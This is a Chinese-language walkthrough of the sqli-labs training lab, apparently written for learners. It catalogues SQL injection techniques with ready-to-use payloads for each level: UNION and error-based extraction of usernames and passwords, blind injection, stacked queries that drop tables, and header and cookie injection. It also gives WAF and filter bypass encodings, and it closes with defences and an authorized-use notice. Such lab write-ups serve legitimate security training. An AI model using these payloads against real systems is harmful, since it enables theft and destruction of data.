sqli-labs通关详解
字数 2377 2025-08-30 06:50:27
SQL注入攻防实战:sqli-labs通关详解
1. SQL注入基础概念
SQL注入是一种将恶意SQL代码插入到应用程序输入参数中的攻击技术,攻击者可以利用这种技术绕过安全措施,获取数据库中的敏感信息或执行未授权的数据库操作。
1.1 注入类型分类
-
按注入点类型分类:
- 数字型注入:参数未被引号包裹,直接参与SQL查询
- 字符型注入:参数被单引号或双引号包裹
-
按攻击方式分类:
- 联合查询注入(UNION-Based)
- 报错注入(Error-Based)
- 布尔盲注(Boolean Blind)
- 时间盲注(Time-Based)
- 堆叠注入(Stacked Queries)
- 二次注入(Second-Order Injection)
2. 基础注入技术
2.1 联合查询注入(UNION-Based)
基本步骤:
- 判断注入点类型
- 确定字段数量
- 寻找回显位
- 获取数据库信息
- 提取表名和列名
- 获取数据
示例(Less-1):
?id=1' order by 3 --+ # 确定列数为3
?id=-1' union select 1,2,3 --+ # 判断回显位为2,3
?id=-1' union select 1,database(),version() --+ # 查数据库名和版本
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ # 获取表名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ # 获取列名
?id=-1' union select 1,2,group_concat(username,'~',password) from users--+ # 获取数据
2.2 报错注入(Error-Based)
常用函数:
updatexml()extractvalue()floor()
示例(Less-5):
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+ # 获取数据库名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+ # 获取表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)--+ # 获取列名
2.3 布尔盲注(Boolean Blind)
特点:页面根据条件真/假返回不同结果
示例(Less-8):
?id=1' and length(database())=8 --+ # 判断数据库名长度
?id=1' and substr(database(),1,1)='s'--+ # 逐字符猜解数据库名
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+ # 猜解表的数量
2.4 时间盲注(Time-Based)
特点:通过响应时间差异判断条件真假
示例(Less-9):
?id=1' and If(ascii(substr(database(),1,1))=115,sleep(5),1)--+ # 第一位是's'
?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1)--+ # 猜表名
3. 高级注入技术
3.1 堆叠注入(Stacked Queries)
特点:执行多条SQL语句,破坏性强
示例(Less-38):
?id=1';CREATE TABLE WhiteMoon LIKE users;--+ # 创建表
?id=1';INSERT INTO WhiteMoon SELECT * FROM users;--+ # 插入数据
?id=1';DELETE FROM WhiteMoon;--+ # 删除数据
?id=1';DROP TABLE WhiteMoon;--+ # 删除表
3.2 二次注入(Second-Order Injection)
特点:恶意数据先被存储,后被使用
示例(Less-24):
- 创建用户:
admin'#/123456 - 登录后修改密码:
admin/111/111 - 实际执行的SQL:
UPDATE users SET PASSWORD='111' where username='admin'#' and password='111'
3.3 宽字节注入
原理:利用GBK编码特性绕过转义
示例(Less-32):
?id=1%df' # 吃掉转义反斜杠
?id=1%df' UNION SELECT 1,database(),3 --+ # 获取数据库名
3.4 HTTP参数污染(HPP)
原理:提交多个同名参数绕过WAF
示例(Less-29):
?id=1&id=2'--+ # 第一个参数绕过WAF,第二个参数注入
?id=1&id=-1' UNION SELECT 1,database(),3 --+ # 获取数据库名
4. 特殊场景注入
4.1 POST注入
特点:注入点在POST请求中
示例(Less-11):
uname=a' union select 1,database() # # 获取数据库名
uname=a' union select 1,group_concat(table_name) from information_schema.tables where table_schema="security" -- a # 获取表名
4.2 Cookie注入
示例(Less-20):
Cookie: uname=admin' and updatexml(1,concat(1,database()),1) and ' # 获取数据库名
4.3 User-Agent/Referer注入
示例(Less-18):
User-Agent: ' OR updatexml(1,concat("!",database()),2) OR ' # 获取数据库名
4.4 排序注入(Order By)
示例(Less-46):
?sort=1 AND updatexml(1,concat("!",database()),2)# # 获取数据库名
5. 绕过技术
5.1 注释符绕过
--+ # MySQL注释
# # URL编码为%23
;%00 # 空字节截断
5.2 空格绕过
%09 # TAB
%0a # 换行
%0b # 垂直TAB
%0c # 换页
%0d # 回车
%a0 # 非中断空格
5.3 关键词过滤绕过
双写绕过:
OorRDER BY # 绕过or过滤
aadnnd 1=1 # 绕过and过滤
大小写混合:
UniOn SelECT
编码绕过:
%27 # 单引号
%2527 # 双重URL编码单引号
0x61646d696e # 十六进制编码
6. 防御措施
- 参数化查询:使用预处理语句
- 输入验证:白名单过滤
- 最小权限原则:数据库账户仅需必要权限
- 错误处理:不返回详细错误信息
- WAF:Web应用防火墙
- 编码输出:防止XSS等二次攻击
7. 实战技巧总结
-
信息收集顺序:
- 数据库版本 → 当前用户 → 数据库名 → 表名 → 列名 → 数据
-
常用函数:
database()- 当前数据库version()- 数据库版本user()- 当前用户group_concat()- 合并多行结果concat_ws()- 带分隔符合并substr()/mid()/left()- 字符串截取ascii()- 获取ASCII码
-
information_schema关键表:
schemata- 所有数据库tables- 所有表columns- 所有列
-
盲注优化:
- 使用二分法加速猜解
- 优先猜解长度再猜内容
- 使用脚本自动化过程
8. 各关卡要点速查
| 关卡 | 注入类型 | 闭合方式 | 关键技巧 |
|---|---|---|---|
| 1-4 | 联合注入 | 单/双引号 | 基础联合查询 |
| 5-6 | 报错/盲注 | 单/双引号 | updatexml/extractvalue |
| 7 | 导出文件 | ')) | into outfile |
| 8-10 | 盲注 | 单/双引号 | 布尔/时间盲注 |
| 11-14 | POST注入 | 单/双引号 | POST参数注入 |
| 15-16 | 盲注 | 单/双引号 | 无错误回显 |
| 17 | 更新注入 | 单引号 | 密码字段注入 |
| 18-19 | 头注入 | User-Agent/Referer | HTTP头注入 |
| 20-22 | Cookie注入 | 单/双引号 | Cookie字段注入 |
| 23-26 | 过滤绕过 | 多种 | 注释符/空格过滤 |
| 27-28 | 高级过滤 | 多种 | union/select过滤 |
| 29-31 | HPP | 多种 | 参数污染绕过 |
| 32-37 | 宽字节 | 多种 | GBK编码特性 |
| 38-45 | 堆叠注入 | 多种 | 多语句执行 |
| 46-53 | 排序注入 | 多种 | order by注入 |
| 54-65 | 挑战关卡 | 多种 | 综合技巧应用 |
9. 自动化工具推荐
- SQLmap:自动化SQL注入工具
- Burp Suite:拦截修改HTTP请求
- Havij:图形化注入工具
- NoSQLMap:NoSQL注入工具
10. 法律与道德
- 仅用于授权测试
- 遵守相关法律法规
- 发现漏洞及时报告
- 不破坏数据完整性
通过系统学习sqli-labs各关卡,可以全面掌握SQL注入的各种技术场景和防御方法,建议按照关卡顺序逐步练习,从基础注入到高级绕过技术,最终达到全面理解SQL注入攻防的目的。